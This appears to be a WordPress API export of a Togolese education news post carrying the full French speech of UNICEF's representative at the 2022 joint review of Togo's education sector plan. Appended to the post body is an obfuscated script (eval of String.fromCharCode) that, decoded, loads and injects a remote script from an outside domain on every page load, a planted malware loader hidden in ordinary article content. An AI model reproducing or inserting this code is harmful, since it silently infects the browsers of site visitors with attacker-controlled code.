{"id":3117,"date":"2022-01-16T00:14:22","date_gmt":"2022-01-15T23:14:22","guid":{"rendered":"https:\/\/edunews.tg\/?p=3117"},"modified":"2022-01-16T00:14:22","modified_gmt":"2022-01-15T23:14:22","slug":"togo-education-revue-du-pse-discours-integral-de-representente-residente-de-lunicef-chef-de-file-des-partenaires-techniques-et-financiers-a-leducation","status":"publish","type":"post","link":"https:\/\/edunews.tg\/info\/2022\/01\/16\/togo-education-revue-du-pse-discours-integral-de-representente-residente-de-lunicef-chef-de-file-des-partenaires-techniques-et-financiers-a-leducation\/","title":{"rendered":"TOGO: EDUCATION: revue sectorielle conjointe du PSE 2020: voici en int\u00e9gralit\u00e9 le discours du Dr A\u00efssata BA SIDIBE, Repr\u00e9sentante r\u00e9sidente de l&rsquo;UNICEF"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Du 12 au 14 janvier 2022, la revue sectorielle conjointe 2020 du plan sectoriel de l&rsquo;\u00e9ducation 2020-2030 a \u00e9t\u00e9 au coeur d&rsquo;un atelier au complexe scientifique du Lyc\u00e9e de Tokoin. Voici l&rsquo;int\u00e9gralit\u00e9 de l&rsquo;intervention du Dr A\u00efssata BA SIDIBE, Repr\u00e9sante r\u00e9sidente de l&rsquo;UNICEF, Chef de file des partenaires techniques et financiers en \u00e9ducation lors de la c\u00e9r\u00e9monie d&rsquo;ouverture pr\u00e9sid\u00e9e par le Ministre des enseignements primaire, secondaire, technique et de l&rsquo;artisanat, Komla Dodzi Kokoroko.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/01\/IMG-20220116-WA0007-1024x768.jpg\" alt=\"\" class=\"wp-image-3145\" srcset=\"https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/01\/IMG-20220116-WA0007-1024x768.jpg 1024w, https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/01\/IMG-20220116-WA0007-300x225.jpg 300w, https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/01\/IMG-20220116-WA0007-768x576.jpg 768w, https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/01\/IMG-20220116-WA0007.jpg 1040w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>les officiels de la table d&rsquo;honneur<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Monsieur le Ministre des Enseignement Primaire, Secondaire, Techniques et de l\u2019Artisanat, <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Monsieur le Ministre de l&rsquo;Enseignement Sup\u00e9rieur et de la Recherche,<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Madame le Ministre de l&rsquo;Action Sociale, de la Promotion de la Femme et de l&rsquo;Alphab\u00e9tisation, <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Monsieur le Ministre d\u00e9l\u00e9gu\u00e9 aupr\u00e8s du Ministre des Enseignements Primaire, Secondaire, Techniques et de l\u2019Artisanat, charg\u00e9 de l&rsquo;Enseignement Technique et de la Formation Professionnelle,<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> Mesdames et Messieurs les Ambassadeurs et Repr\u00e9sentants r\u00e9sidents des Organisations Internationales,<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mesdames, Messieurs les Partenaires Techniques et financiers,<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mesdames et Messieurs les Repr\u00e9sentants des Organisations Non Gouvernementales et de la Soci\u00e9t\u00e9 Civile,<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> Mesdames et Messieurs<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tout d\u2019abord, je voudrais saisir l\u2019opportunit\u00e9 que m\u2019offre cette rencontre pour vous pr\u00e9senter, au nom des Partenaires Techniques et Financiers, au nom de l\u2019UNICEF et en mon nom propre, nos meilleurs v\u0153ux pour cette nouvelle ann\u00e9e 2022.Permettez-moi, Madame et Messieurs les Ministres de f\u00e9liciter les quatre Minist\u00e8res concern\u00e9s et le Secr\u00e9tariat Technique Permanent pour l\u2019organisation de cette revue sectorielle conjointe 2020 du Plan sectoriel de l\u2019Education (PSE). <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"704\" src=\"https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/01\/IMG-20220116-WA0009-1024x704.jpg\" alt=\"\" class=\"wp-image-3147\" srcset=\"https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/01\/IMG-20220116-WA0009-1024x704.jpg 1024w, https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/01\/IMG-20220116-WA0009-300x206.jpg 300w, https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/01\/IMG-20220116-WA0009-768x528.jpg 768w, https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/01\/IMG-20220116-WA0009-220x150.jpg 220w, https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/01\/IMG-20220116-WA0009.jpg 1080w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>photo de famille des officiels<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Je remercie \u00e9galement l\u2019ensemble des coll\u00e8gues Partenaires Techniques et Financiers (PTFs) et ceux de la soci\u00e9t\u00e9 civile, pour la qualit\u00e9 des relations qui existent au sein de notre plateforme de coordination sectorielle et pour leurs contributions \u00e0 ce processus national important.Madame et Messieurs les Ministres, chers coll\u00e8gues, chers parents, Nous avons salu\u00e9 le processus de pr\u00e9paration et d\u2019endossement du Plan Sectoriel de l\u2019Education pour la p\u00e9riode 2020-2030. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Aujourd\u2019hui est un moment important afin de faire le point sur l\u2019\u00e9tat d\u2019avancement de sa premi\u00e8re ann\u00e9e de mise en \u0153uvre. Cette revue est d\u2019autant plus importante qu\u2019elle porte sur 2020, l\u2019ann\u00e9e de la pand\u00e9mie de COVID19. Une pand\u00e9mie qui a boulevers\u00e9 nos habitudes et avec laquelle nous apprenons aujourd\u2019hui \u00e0 vivre et \u00e0 nous adapter. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">La COVID-19 a eu un impact n\u00e9gatif sur la scolarisation des enfants,  adolescents et jeunes. La pand\u00e9mie a aussi permis de renforcer la r\u00e9silience et de mettre en exergue des opportunit\u00e9s, parfois d\u00e9j\u00e0 connues, mais encore peu d\u00e9velopp\u00e9s. Je citerai entre autres l\u2019enseignement \u00e0 distance, la g\u00e9n\u00e9ralisation du num\u00e9rique, le d\u00e9veloppement de protocoles pour des environnements \u00e9ducatifs plus surs et l\u2019importance du suivi-\u00e9valuation en temps r\u00e9el.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En d\u00e9but de cette semaine le Minist\u00e8re des Enseignements Primaire, Secondaire, Technique et de l\u2019Artisanat a lanc\u00e9 la pr\u00e9sentation des r\u00e9sultats d\u2019analyse sur la campagne de statistiques scolaires 2020-2021, et le Syst\u00e8me Informatis\u00e9 de Planification et de Suivi Evaluation.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mesdames et Messieurs,<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Aujourd\u2019hui, nous nous retrouvons pour faire la revue conjointe du secteur de l\u2019\u00e9ducation, allant du pr\u00e9scolaire jusqu\u2019\u00e0 l\u2019enseignement sup\u00e9rieur. C\u2019est un exercice de pilotage primordial pour s\u2019assurer que la direction souhait\u00e9e par les autorit\u00e9s du pays, \u00e0 travers la feuille de route gouvernementale et le Plan Sectoriel de l\u2019Education, est bien suivie.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/01\/IMG-20220116-WA0010-1024x768.jpg\" alt=\"\" class=\"wp-image-3149\" srcset=\"https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/01\/IMG-20220116-WA0010-1024x768.jpg 1024w, https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/01\/IMG-20220116-WA0010-300x225.jpg 300w, https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/01\/IMG-20220116-WA0010-768x576.jpg 768w, https:\/\/edunews.tg\/info\/wp-content\/uploads\/2022\/01\/IMG-20220116-WA0010.jpg 1040w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>une vue des participants<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Cet exercice de revue sectorielle doit en effet nous permettre, une fois par an, d\u2019effectuer le suivi de la mise en \u0153uvre du Plan Sectoriel de l&rsquo;Education et de nos engagements communs, en se fondant sur une analyse des performances du secteur.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> Ainsi, sur la base des performances observ\u00e9es, des goulots constat\u00e9s et des le\u00e7ons apprises, la revue sectorielle conjointe doit nous permettre non seulement de nous accorder sur d\u2019\u00e9ventuelles mesures correctives, mais \u00e9galement d\u2019\u00e9changer sur les politiques, les programmes et les strat\u00e9gies \u00e0 entreprendre afin de r\u00e9pondre au mieux aux nombreux d\u00e9fis du secteur et de capitaliser les meilleures pratiques identifi\u00e9es.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">C\u2019est un moment privil\u00e9gi\u00e9 pour faire le point sur les d\u00e9fis majeurs auxquels le pays fait face, et notamment les questions pour lesquelles des groupes th\u00e9matiques ont \u00e9t\u00e9 mis en place \u00e0 travers le cadre partenarial sur lequel s\u2019appuie le Plan Sectoriel de l\u2019Education. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Si la question de la qualit\u00e9 des apprentissages reste le premier d\u00e9fi national, d\u2019autres questions comme la scolarisation des filles, les violences en milieu scolaire, ou encore l\u2019assurance d\u2019un environnement scolaire s\u00fbr et sain font et devront faire partie des r\u00e9flexions lors de l\u2019analyse des r\u00e9sultats de cette revue.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> Relevons que cette revue sera aussi l\u2019occasion de faire un focus sur la crise de la pand\u00e9mie de COVID19 et ses cons\u00e9quences. Il sera mis en exergue comment le gouvernement du Togo et ses partenaires ont r\u00e9agi et r\u00e9pondu \u00e0 cette situation, notamment avec le plan de r\u00e9ponse d\u2019urgence sp\u00e9cifique au secteur de l\u2019\u00e9ducation.  Cela a permis la r\u00e9ouverture de tous les \u00e9tablissements scolaires et universitaires d\u00e8s octobre 2020.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> La mobilisation de tous autour du gouvernement a permis de mobiliser des financements additionnels, notamment ceux du Partenariat Mondial pour l\u2019\u00e9ducation. D\u2019autres opportunit\u00e9s de financements suppl\u00e9mentaires, ont \u00e9t\u00e9 annonc\u00e9es derni\u00e8rement pour le Togo, sous r\u00e9serve de l\u2019utilisation efficiente des financements et de l\u2019atteinte des r\u00e9sultats pr\u00e9vus. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Madame et Messieurs les Ministres,<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Chers Partenaires,<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Chers invit\u00e9s,<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Face aux am\u00e9liorations d\u00e9j\u00e0 apport\u00e9es, face aux d\u00e9fis restants, j&rsquo;\u00e9mets le souhait que cette premi\u00e8re revue du nouveau Plan Sectoriel de l\u2019Education aboutisse \u00e0 des r\u00e9solutions qui permettront d\u2019acc\u00e9l\u00e9rer les progr\u00e8s. Notre souhait est \u00e9galement que la revue sectorielle de 2021 puisse se tenir cette ann\u00e9e, afin de renouer avec nos traditions d\u2019avant la pand\u00e9mie.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">  Pour conclure, je voudrais, Madame et Messieurs les Ministres, r\u00e9it\u00e9rer l\u2019engagement du groupe des Partenaires Techniques et Financiers \u00e0 poursuivre les efforts entrepris \u00e0 vos c\u00f4t\u00e9s pour garantir l\u2019acc\u00e8s \u00e0 chaque fille et \u00e0 chaque gar\u00e7on \u00e0 une \u00e9ducation de qualit\u00e9.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Je vous remercie.<\/p>\n<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script>","protected":false},"excerpt":{"rendered":"<p>Du 12 au 14 janvier 2022, la revue sectorielle conjointe 2020 du plan sectoriel de l&rsquo;\u00e9ducation 2020-2030 a \u00e9t\u00e9 au coeur d&rsquo;un atelier au complexe scientifique du Lyc\u00e9e de Tokoin. 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